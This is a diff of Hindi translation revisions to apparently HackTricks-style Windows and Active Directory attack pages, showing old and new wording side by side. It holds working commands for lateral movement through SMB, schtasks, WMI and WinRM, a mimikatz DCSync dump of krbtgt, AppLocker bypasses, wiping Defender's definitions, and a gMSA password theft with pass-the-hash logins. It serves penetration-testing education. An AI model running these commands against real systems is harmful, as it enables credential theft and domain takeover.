इस टिकट के साथ आप रिमोट फाइल सिस्टम में `C$` और `ADMIN$` फ़ोल्डर तक **SMB** के जरिए पहुँच सकेंगे (यदि वे एक्सपोज़्ड हैं) और रिमोट फाइल सिस्टम के किसी हिस्से में फाइल कॉपी कर सकेंगे, कुछ इस तरह:
इस टिकट के साथ आप `C$` और `ADMIN$` फ़ोल्डर को **SMB** के माध्यम से एक्सेस कर पाएँगे (यदि वे एक्सपोज़्ड हैं) और रिमोट फाइलसिस्टम के किसी हिस्से में फाइलें कॉपी कर सकेंगे, कुछ ऐसा करते हुए:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
आप **psexec** का उपयोग करके होस्ट के अंदर shell प्राप्त कर सकते हैं या arbitrary commands चला सकते हैं:
आप होस्ट के अंदर शेल प्राप्त कर पाएंगे या **psexec** का उपयोग करके मनमाने कमांड निष्पादित कर पाएंगे:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
{{#endref}}
### HOST
### होस्ट
इस अनुमति से आप remote computers पर scheduled tasks बना सकते हैं और arbitrary commands चला सकते हैं:
इस अनुमति के साथ आप रिमोट कंप्यूटरों में शेड्यूल किए गए टास्क बना सकते हैं और मनमाने कमांड निष्पादित कर सकते हैं:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -133,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
इन tickets के साथ आप लक्षित सिस्टम पर **WMI चला सकते हैं**:
इन टिकटों के साथ आप **लक्षित सिस्टम में WMI निष्पादित कर सकते हैं**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -143,7 +142,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
निम्न पृष्ठ में **wmiexec के बारे में अधिक जानकारी** देखें:
निम्न पृष्ठ पर **wmiexec के बारे में अधिक जानकारी** देखें:
{{#ref}}
../lateral-movement/wmiexec.md
@ -151,11 +150,11 @@ wmic remote.computer.local list full /format:list
### होस्ट + WSMAN (WINRM)
किसी कंप्यूटर पर winrm एक्सेस होने पर आप इसे **एक्सेस कर सकते हैं** और यहां तक कि PowerShell भी प्राप्त कर सकते हैं:
किसी कंप्यूटर पर winrm एक्सेस होने पर आप **इसे एक्सेस** कर सकते हैं और यहाँ तक कि PowerShell भी प्राप्त कर सकते हैं:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
निम्नलिखित पृष्ठ देखें ताकि आप **रिमोट होस्ट से winrm का उपयोग करके कनेक्ट करने के अधिक तरीके** जान सकें:
Check the following page to learn **more ways to connect with a remote host using winrm**:
{{#ref}}
@ -163,15 +162,15 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
{{#endref}}
> [!WARNING]
> ध्यान दें कि **winrm को रिमोट कंप्यूटर पर सक्रिय और सुनने की स्थिति में होना चाहिए** ताकि इसे एक्सेस किया जा सके।
> ध्यान दें कि **winrm रिमोट कंप्यूटर पर सक्रिय और सुनने की स्थिति में होना चाहिए** ताकि उस तक पहुँच की जा सके।
### LDAP
इस विशेषाधिकार के साथ आप **DCSync** का उपयोग करके DC डेटाबेस डंप कर सकते हैं:
इस विशेषाधिकार के साथ आप **DCSync** का उपयोग करके DC डेटाबेस को dump कर सकते हैं:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**DCSync के बारे में अधिक जानें** निम्नलिखित पृष्ठ में:
**DCSync के बारे में अधिक जानें** निम्नलिखित पृष्ठ पर:
{{#ref}}

View File

@ -4,14 +4,14 @@
## AppLocker नीति
An application whitelist उन स्वीकृत software applications या executables की सूची होती है जिन्हें किसी सिस्टम पर मौजूद रहने और चलने की अनुमति होती है। इसका उद्देश्य environment को हानिकारक malware और उन अस्वीकृत software से सुरक्षित रखना है जो किसी organization की विशिष्ट व्यावसायिक आवश्यकताओं के अनुरूप नहीं होते
एक एप्लिकेशन व्हाइटलिस्ट उन अनुमोदित सॉफ़्टवेयर एप्लिकेशन या executable फाइलों की सूची है जिन्हें किसी सिस्टम पर मौजूद रहने और चलने की अनुमति होती है। इसका उद्देश्य संगठन की विशिष्ट व्यावसायिक आवश्यकताओं के अनुरूप न होने वाले हानिकारक malware और अनअनुमोदित सॉफ़्टवेयर से पर्यावरण की सुरक्षा करना है
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft का **application whitelisting solution** है और यह system administrators को यह नियंत्रित करने की अनुमति देता है कि **कौन-से applications और files users चला सकते हैं**। यह executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers पर **सूक्ष्म नियंत्रण (granular control)** प्रदान करता है।\
संगठनों के लिए आम बात है कि वे **cmd.exe and PowerShell.exe** और कुछ निर्देशिकाओं पर write access को block कर देते हैं, **लेकिन यह सब bypass किया जा सकता है**।
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft का **application whitelisting solution** है और सिस्टम एडमिनिस्ट्रेटरों को यह नियंत्रण देता है कि **किसे applications और files को users चला सकते हैं**। यह **सूक्ष्म नियंत्रण** प्रदान करता है executables, scripts, Windows installer files, DLLs, packaged apps, और packed app installers पर।\
संगठनों के लिए आम है कि वे **cmd.exe और PowerShell.exe को ब्लॉक** कर दें और कुछ डायरेक्टरीज़ पर write access रोक दें, **पर इसे सभी बायपास किया जा सकता है**।
### जाँच
Check which files/extensions are blacklisted/whitelisted:
पता करें कि कौन सी फाइलें/एक्सटेंशन्स ब्लैकलिस्टेड/व्हाइटलिस्टेड हैं:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
यह रजिस्ट्री पथ AppLocker द्वारा लागू की गई कॉन्फ़िगरेशन और नीतियों को रखता है, और सिस्टम पर लागू नियमों के वर्तमान सेट की समीक्षा करने का एक तरीका प्रदान करता है:
यह रजिस्ट्री पथ AppLocker द्वारा लागू की गई कॉन्फ़िगरेशन और नीतियों को रखता है, जिससे सिस्टम पर लागू वर्तमान नियमों के सेट की समीक्षा करने का एक तरीका मिलता है:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
### बायपास
- AppLocker Policy को bypass करने के लिए उपयोगी **Writable folders**: यदि AppLocker `C:\Windows\System32` या `C:\Windows` के अंदर किसी भी चीज़ को execute करने की अनुमति दे रहा है, तो ऐसे **writable folders** हैं जिन्हें आप इसका **bypass** करने के लिए उपयोग कर सकते हैं
- AppLocker नीति को बायपास करने के लिए उपयोगी **लिखने योग्य फ़ोल्डर**: यदि AppLocker `C:\Windows\System32` या `C:\Windows` के अंदर किसी भी चीज़ को निष्पादित करने की अनुमति दे रहा है तो ऐसे **लिखने योग्य फ़ोल्डर** हैं जिनका आप उपयोग करके **इसे बायपास कर सकते हैं**
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- आमतौर पर **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरी AppLocker को बायपास करने में भी उपयोगी हो सकती हैं।
- **खराब लिखे गए नियमों को भी बायपास किया जा सकता है**
- उदाहरण के लिए, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, आप कहीं भी **`allowed` नामक फ़ोल्डर** बना सकते हैं और उसे अनुमति मिल जाएगी।
- संगठन अक्सर **blocking the `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable** पर ध्यान केंद्रित करते हैं, लेकिन **other** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) जैसे `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe`े बारे में भूल जाते हैं।
- अतिरिक्त लोड और व्यापक परीक्षण की आवश्यकता के कारण **DLL enforcement very rarely enabled** होती है, इसलिए **DLLs as backdoors** AppLocker को बायपास करने में मदद करते हैं
- आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके किसी भी प्रक्रिया में **execute Powershell** कोड चला सकते हैं और AppLocker को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
- आम तौर पर **भरोसेमंद** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries AppLocker को बायपास करने में भी उपयोगी हो सकती हैं।
- **खराब तरीके से लिखे गए नियमों को भी बायपास किया जा सकता है**
- उदाहरण के लिए, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, आप कहीं भी **`allowed` नाम का एक फ़ोल्डर** बना सकते हैं और उसे अनुमति मिल जाएगी।
- संगठन अक्सर **`%System32%\WindowsPowerShell\v1.0\powershell.exe` executable** को ब्लॉक करने पर ध्यान देते हैं, लेकिन अन्य [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) जैसे `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe` भूल जाते हैं।
- सिस्टम पर अतिरिक्त लोड और आवश्यक परीक्षण की मात्रा के कारण **DLL enforcement बहुत कम ही सक्षम किया जाता है**। इसलिए **DLLs को backdoors के रूप में उपयोग करना AppLocker को बायपास करने में मदद करेगा**
- आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग किसी भी प्रक्रिया में **Powershell** कोड execute करने और AppLocker को बायपास करने के लिए कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## क्रेडेंशियल्स स्टोरेज
## Credentials Storage
### Security Accounts Manager (SAM)
स्थानीय क्रेडेंशियल्स इस फ़ाइल में मौजूद होते हैं; पासवर्ड हैश किए गए होते हैं।
स्थानीय क्रेडेंशियल्स इस फ़ाइल में मौजूद होते हैं, पासवर्ड हैश किए जाते हैं।
### Local Security Authority (LSA) - LSASS
Single Sign-On कारणों से **क्रेडेंशियल्स** (hashed) इस सबसिस्टम की **मेमोरी** में **सहेजे** जाते हैं।\
LSA स्थानीय **security policy** (password policy, users permissions...), **authentication**, **access tokens** आदि का प्रबंधन करत है।\
LSA वही घटक होगा जो लोकल लॉगिन के लिए दिए गए क्रेडेंशियल्स को **SAM** फ़ाइल के अंदर **ेक** करेगा और डोमेन उपयोगकर्ता को प्रमाणीकृत करने के लिए **domain controller** से **बात** करेगा।
Single Sign-On कारणों से ये **credentials** (hashed) इस सबसिस्टम की **memory** में **सहेजे** जाते हैं।\
**LSA** स्थानीय **security policy** (पासवर्ड पॉलिसी, उपयोगकर्ता अनुमतियाँ...), **authentication**, **access tokens** आदि का प्रबंधन करत है।\
LSA वही घटक होगा जो स्थानीय लॉगिन के लिए **SAM** फ़ाइल के अंदर प्रदत्त क्रेडेंशियल्स की **जांच** करेगा और डोमेन उपयोगकर्ता को प्रमाणित करने के लिए **domain controller** से **बात** करेगा।
**क्रेडेंशियल्स** प्रक्रिया **LSASS** के अंदर सहेजे जाते हैं: Kerberos tickets, NT और LM hashes, आसानी से डिक्रिप्ट किए जा सकने वाले पासवर्ड।
ये **credentials** प्रक्रिया LSASS के अंदर सहेजे जाते हैं: Kerberos tickets, NT और LM हैशेस, आसानी से डीक्रिप्ट किए जा सकने वाले पासवर्ड।
### LSA secrets
LSA डिस्क पर कुछ क्रेडेंशियल्स सहेज सकता है:
- Active Directory के कंप्यूटर अकाउंट का पासवर्ड (unreachable domain controller).
- Windows services के खातों के पासवर्ड
- scheduled tasks के लिए पासवर्ड
- और अधिक (IIS applications का पासवर्ड...)
- Active Directory के कंप्यूटर अकाउंट का पासवर्ड (यदि domain controller पहुँच योग्य न हो)।
- Windows सेवाओं के खातों के पासवर्ड
- शेड्यूल्ड टास्क्स के लिए पासवर्ड
- और भी (IIS applications का पासवर्ड...)
### NTDS.dit
यह Active Directory का डेटाबेस है। यह केवल Domain Controllers में मौजूद होता है।
यह Active Directory का डेटाबेस है। यह केवल Domain Controllers पर मौजूद होता है।
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) एक Antivirus है जो Windows 10 और Windows 11 में तथा Windows Server के संस्करणों में उपलब्ध है। यह सामान्य pentesting टूल्स जैसे **`WinPEAS`** को **ब्लॉक** कर सकता है। हालाँकि, इन सुरक्षा उपायों को **बायपास** करने के तरीके मौजूद हैं।
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) एक Antivirus है जो Windows 10 और Windows 11 तथा Windows Server के संस्करणों में उपलब्ध है। यह सामान्य pentesting टूल्स जैसे **`WinPEAS`** को **ब्लॉक** करता है। हालांकि, इन सुरक्षा उपायों को **बायपास** करने के तरीके मौजूद हैं।
### जाँच
### Check
Defender की **स्थिति** जांचने के लिए आप PS cmdlet **`Get-MpComputerStatus`** चला सकते हैं (सक्रिय है या नहीं जानने के लिए **`RealTimeProtectionEnabled`** का मान देखें):
Defender की **स्थिति** जांचने के लिए आप PS cmdlet **`Get-MpComputerStatus`** चला सकते हैं (जानने के लिए कि यह सक्रिय है या नहीं, **`RealTimeProtectionEnabled`** के मान की जांच करें):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
इसे सूचीबद्ध करने के लिए आप यह भी चला सकते हैं:
इसे एनेमरेट करने के लिए आप निम्न भी चला सकते हैं:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -101,36 +101,36 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## एन्क्रिप्टेड फ़ाइल सिस्टम (EFS)
EFS फाइलों को एन्क्रिप्शन के माध्यम से सुरक्षित करता है, और इसके लिए एक **symmetric key** जिसका नाम **File Encryption Key (FEK)** है का उपयोग करता है। यह key उपयोगकर्ता की **public key** से एन्क्रिप्ट होकर एन्क्रिप्टेड फ़ाइल के $EFS **alternative data stream** में स्टोर होता है। जब डिक्रिप्शन की आवश्यकता होती है, तो उपयोगकर्ता के डिजिटल सर्टिफिकेट की संबंधित **private key** का उपयोग $EFS stream से FEK को डिक्रिप्ट करने के लिए किया जाता है। More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS फाइलों को एन्क्रिप्शन के माध्यम से सुरक्षित करता है, एक **symmetric key** जिसका नाम **File Encryption Key (FEK)** है, का उपयोग करके। यह कुंजी उपयोगकर्ता की **public key** से एन्क्रिप्ट की जाती है और एन्क्रिप्ट की गई फ़ाइल के $EFS **alternative data stream** में संग्रहित रहती है। जब डिक्रिप्शन की आवश्यकता होती है, तो उपयोगकर्ता के डिजिटल सर्टिफिकेट की संबंधित **private key** का उपयोग $EFS stream से FEK को डिक्रिप्ट करने के लिए किया जाता है। More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Decryption scenarios without user initiation** में निम्न शामिल हैं:
**Decryption scenarios without user initiation** include:
- जब फाइलें या फ़ोल्डर किसी non-EFS file system, जैसे [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), पर मूव किए जाते हैं तो वे स्वतः डिक्रिप्ट हो जाते हैं
- SMB/CIFS प्रोटोकॉल के ज़रिये नेटवर्क पर भेजी जाने वाली एन्क्रिप्टेड फाइलें ट्रांसमिशन से पहले डिक्रिप्ट कर दी जाती हैं।
- जब फाइलें या फ़ोल्डर non-EFS file system, जैसे [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), पर स्थानांतरित किए जाते हैं तो उन्हें स्वचालित रूप से डिक्रिप्ट कर दिया जाता है
- SMB/CIFS protocol के माध्यम से नेटवर्क पर भेजी जाने वाली एन्क्रिप्ट की गई फ़ाइलें प्रसारण से पहले डिक्रिप्ट कर दी जाती हैं।
यह एन्क्रिप्शन तरीका मालिक को एन्क्रिप्टेड फाइलों तक **transparent access** प्रदान करता है। हालांकि, केवल मालिक का पासवर्ड बदलकर और लॉगिन करके डिक्रिप्शन संभव नहीं होगा।
यह एन्क्रिप्शन तरीका मालिक को एन्क्रिप्ट की गई फ़ाइलों के लिए **transparent access** प्रदान करता है। हालांकि, केवल मालिक का पासवर्ड बदलने और लॉगिन करने से डिक्रिप्शन संभव नहीं होगा।
**Key Takeaways**:
- EFS एक symmetric FEK का उपयोग करता है, जिसे उपयोगकर्ता की public key से एन्क्रिप्ट किया जाता है।
- EFS एक symmetric FEK का उपयोग करता है, ज उपयोगकर्ता की public key से एन्क्रिप्ट किया जाता है।
- डिक्रिप्शन के लिए उपयोगकर्ता की private key का उपयोग FEK तक पहुँचने के लिए किया जाता है।
- कुछ परिस्थितियों में ऑटोमैटिक डिक्रिप्शन हो सकता है, जैसे FAT32 पर कॉपी करना या नेटवर्क ट्रांसमिशन।
- एन्क्रिप्टेड फाइलें मालिक के लिए बिना अतिरिक्त कदम के एक्सेसेबल रहती हैं।
- स्वचालित डिक्रिप्शन कुछ विशिष्ट परिस्थितियों में होता है, जैसे FAT32 पर कॉपी करना या नेटवर्क के माध्यम से ट्रांसमिशन।
- एन्क्रिप्ट की गई फ़ाइलें मालिक द्वारा अतिरिक्त कदम के बिना एक्सेस की जा सकती हैं।
### Check EFS info
### EFS जानकारी जाँचें
जांचें कि किसी **user** ने इस **service** का उपयोग किया है या नहीं, यह देखने के लिए चेक करें कि यह path मौजूद है:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
जाँच करें कि कोई **user** ने इस **service** को **used** किया है या नहीं — यह देखने के लिए कि यह path मौजूद है:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
यह देखना कि फ़ाइल तक **कौन** की **access** है, `cipher /c \<file\>` का उपयोग करें\
आप `cipher /e` और `cipher /d`ो किसी फ़ोल्डर के अंदर उपयोग करके सभी फाइलों को **encrypt** और **decrypt** भी कर सकते हैं
फ़ाइल पर किसे **access** है यह जाँचने के लिए cipher /c \<file\> का उपयोग करें\
आप किसी फ़ोल्डर के अंदर `cipher /e` और `cipher /d`ा उपयोग करके सभी फ़ाइलों को **encrypt** और **decrypt** कर सकते हैं
### Decrypting EFS files
### EFS फ़ाइलों को डिक्रिप्ट करना
#### Being Authority System
इस तरीके के लिए आवश्यक है कि **victim user** होस्ट के अंदर कोई **process** **running** कर रहा हो। अगर ऐसा है, तो `meterpreter` sessions का उपयोग करके आप उस यूज़र के प्रोसेस के टोकन को impersonate कर सकते हैं (`impersonate_token` from `incognito`)। या आप सीधे उस यूज़र के process में `migrate` भी कर सकते हैं।
यह तरीका यह माँगता है कि **victim user** होस्ट के अंदर एक **process** चला रहा हो। यदि ऐसा है, तो `meterpreter` sessions का उपयोग करके आप उपयोगकर्ता के process के token की impersonation कर सकते हैं (`impersonate_token` from `incognito`). या आप बस उपयोगकर्ता के process में `migrate` कर सकते हैं।
#### Knowing the users password
@ -139,65 +139,66 @@ EFS फाइलों को एन्क्रिप्शन के माध
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## समूह प्रबंधित सेवा खाते (gMSA)
Microsoft ने IT इफ्रास्ट्रक्चर में service accounts के प्रबंधन को आसान बनाने के लिए **Group Managed Service Accounts (gMSA)** विकसित किए। पारंपरिक service accounts के विपरीत जिनमें अक्सर "**Password never expire**" सेटिंग सक्षम होती है, gMSA एक अधिक सुरक्षित और प्रबंधनीय समाधान प्रदान करते हैं:
Microsoft ने IT इन्फ्रास्ट्रक्चर में service accounts के प्रबंधन को सरल बनाने के लिए **Group Managed Service Accounts (gMSA)** विकसित किए। पारंपरिक service accounts के विपरीत जिनमें अक्सर 'Password never expire' सेटिंग सक्षम होती है, gMSAs अधिक सुरक्षित और प्रबंधनीय समाधान प्रदान करते हैं:
- **Automatic Password Management**: gMSA एक जटिल, 240-character password का उपयोग करते हैं जो domain या computer policy के अनुसार स्वचालित रूप से बदलता है। यह प्रक्रिया Microsoft's Key Distribution Service (KDC) द्वारा संभाली जाती है, जिससे मैन्युअल पासवर्ड अपडेट की आवश्यकता खत्म हो जाती है।
- **Enhanced Security**: ये खाते lockouts के प्रति इम्यून होते हैं और interactive logins के लिए उपयोग नहीं किए जा सकते, जिससे उनकी सुरक्षा बढ़ती है।
- **Multiple Host Support**: gMSA कई होस्टों के बीच साझा किए जा सकते हैं, जिससे ये उन सेवाओं के लिए आदर्श हैं जो कई सर्वरों पर चलती हैं।
- **Scheduled Task Capability**: managed service accounts के विपरीत, gMSA scheduled tasks चलाने का समर्थन करते हैं।
- **Simplified SPN Management**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होता है तो सिस्टम स्वचालित रूप से Service Principal Name (SPN) को अपडेट करता है, जिससे SPN प्रबंधन सरल हो जाता है।
- **Automatic Password Management**: gMSAs एक जटिल, 240-character password का उपयोग करते हैं जो domain या computer policy के अनुसार स्वचालित रूप से बदलता रहता है। यह प्रक्रिया Microsoft's Key Distribution Service (KDC) द्वारा संभाली जाती है, जिससे मैन्युअल पासवर्ड अपडेट की आवश्यकता खत्म हो जाती है।
- **Enhanced Security**: ये खाते lockouts के प्रति immune होते हैं और interactive logins के लिए उपयोग नहीं किए जा सकते, जिससे उनकी सुरक्षा बढ़ती है।
- **Multiple Host Support**: gMSAs कई hosts पर साझा किए जा सकते हैं, जिससे वे कई सर्वरों पर चलने वाली सेवाओं के लिए उपयुक्त होते हैं।
- **Scheduled Task Capability**: managed service accounts के विपरीत, gMSAs scheduled tasks चलाने का समर्थन करते हैं।
- **Simplified SPN Management**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होता है, तो सिस्टम स्वचालित रूप से Service Principal Name (SPN) को अपडेट करता है, जिससे SPN प्रबंधन सरल हो जाता है।
gMSA के पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में स्टोर होते हैं और इन्हें Domain Controllers (DCs) द्वारा हर 30 दिनों में ऑटोमैटिक रीसेट किया जाता है। यह पासवर्ड, एक एन्क्रिप्टेड डेटा ब्लॉब जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) कहा जाता है, केवल अधिकृत administrators और जिन सर्वरों पर gMSA इंस्टॉल हैं उन सर्वरों द्वारा ही प्राप्त किया जा सकता है, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए एक सुरक्षित कनेक्शन जैसे LDAPS आवश्यक है, या कनेक्शन को 'Sealing & Secure' के साथ authenticated होना चाहिए।
gMSA के पासवर्ड LDAP property _**msDS-ManagedPassword**_ में संग्रहीत होते हैं और Domain Controllers (DCs) द्वारा प्रत्येक 30 दिनों में स्वचालित रूप से रीसेट किए जाते हैं। यह पासवर्ड, एक एन्क्रिप्टेड डेटा ब्लॉब जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) कहा जाता है, केवल अधिकृत administrators और उन सर्वरों द्वारा ही पुनःप्राप्त किया जा सकता है जिन पर gMSAs इंस्टॉल हैं, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए, LDAPS जैसी एक सुरक्षित कनेक्शन आवश्यक है, या कनेक्शन को 'Sealing & Secure' के साथ प्रमाणित किया जाना चाहिए।
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
आप इस पासवर्ड को पढ़ने के लिए [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader) का उपयोग कर सकते हैं:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
इसके अलावा, इस [web page](https://cube0x0.github.io/Relaying-for-gMSA/) को देखें जो बताती है कि कैसे **NTLM relay attack** करके **gMSA** का **password** पढ़ा जा सकता है।
### ACL chaining का दुरुपयोग कर के gMSA managed password पढ़ना (GenericAll -> ReadGMSAPassword)
### ACL chaining का दुरुपयोग करके gMSA प्रबंधित पासवर्ड पढ़ना (GenericAll -> ReadGMSAPassword)
कई वातावरणों में, कम-privileged उपयोगकर्ता misconfigured object ACLs का दुरुपयोग करके बिना DC compromise किये gMSA secrets तक पहुँच (pivot) कर सकते हैं:
कई वातावरणों में, कम-प्रिविलेज उपयोगकर्ता misconfigured object ACLs का दुरुपयोग करके DC compromise किए बिना gMSA secrets तक पहुंच बना सकते हैं:
- ऐसी group जिसे आप नियंत्रित कर सकते हैं (उदा., GenericAll/GenericWrite के माध्यम से) को gMSA पर `ReadGMSAPassword` दिया गया होता है।
- उस group में खुद को जोड़कर, आप LDAP के माध्यम से gMSA क`msDS-ManagedPassword` blob को पढ़ने का अधिकार प्राप्त कर लेते हैं और उपयोगी NTLM credentials निकाल सकते हैं।
- एक ऐसा group जिसे आप नियंत्रित कर सकते हैं (उदाहरण के लिए, GenericAll/GenericWrite के माध्यम से) को gMSA पर `ReadGMSAPassword` दिया गया है।
- अपने आप को उस group में जोड़कर, आप LDAP के माध्यम से gMSA क`msDS-ManagedPassword` blob पढ़ने का अधिकार विरासत में पाते हैं और उपयोगी NTLM credentials निकाल सकते हैं।
सामान्य workflow:
सामान्य कार्यप्रवाह:
1) BloodHound से path खोजें और अपने foothold principals को Owned के रूप में मार्क करें। ऐसे edges देखें:
1) BloodHound के साथ path ढूंढें और अपने foothold principals को Owned के रूप में चिह्नित करें। निम्नलिखित तरह के edges देखें:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) उस intermediate group में खुद को जोड़ें जिसे आप नियंत्रित करते हैं (उदाहरण bloodyAD के साथ):
2) जिस intermediate group को आप नियंत्रित करते हैं उसमें स्वयं को जोड़ें (उदाहरण bloodyAD के साथ):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) LDAP के माध्यम से gMSA managed password पढ़ें और NTLM hash निकालें। NetExec `msDS-ManagedPassword` के extraction और NTLM में conversion को automate करता है:
3) LDAP के माध्यम से gMSA मैनेज्ड पासवर्ड पढ़ें और NTLM हैश प्राप्त करें। NetExec `msDS-ManagedPassword` का निष्कर्षण और NTLM में रूपांतरण स्वचालित करता है:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) gMSA के रूप में NTLM hash का उपयोग करके Authenticate करें (किसी plaintext की आवश्यकता नहीं है)। यदि खाता Remote Management Users में है, तो WinRM सीधे काम करेगा:
4) gMSA के रूप में NTLM hash का उपयोग करके Authenticate करें (कोई plaintext आवश्यक नहीं)। यदि खाता Remote Management Users में है, तो WinRM सीधे काम करेगा:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
नोट:
- `msDS-ManagedPassword` के LDAP पढ़ने के लिए sealing की आवश्यकता होती है (उदा., LDAPS/sign+seal)। Tools इसे स्वचालित रूप से संभालते हैं।
- gMSAs को अक्सर WinRM जैसे स्थानीय अधिकार दिए जाते हैं; lateral movement की योजना बनाने के लिए group membership (उदा., Remote Management Users) की पुष्टि करें।
- यदि आपको केवल blob की आवश्यकता है ताकि आप स्वयं NTLM निकाल सकें, तो MSDS-MANAGEDPASSWORD_BLOB structure देखें।
- `msDS-ManagedPassword` की LDAP रीड्स के लिए sealing की आवश्यकता होती है (उदा., LDAPS/sign+seal)। टूल्स इसे स्वचालित रूप से संभाल लेते हैं।
- gMSAs को अक्सर WinRM जैसे लोकल अधिकार दिए जाते हैं; lateral movement की योजना बनाने के लिए group membership (उदा., Remote Management Users) सत्यापित करें।
- यदि आपको सिर्फ blob की आवश्यकता है ताकि आप स्वयं NTLM की गणना कर सकें, तो MSDS-MANAGEDPASSWORD_BLOB structure देखें。
## LAPS
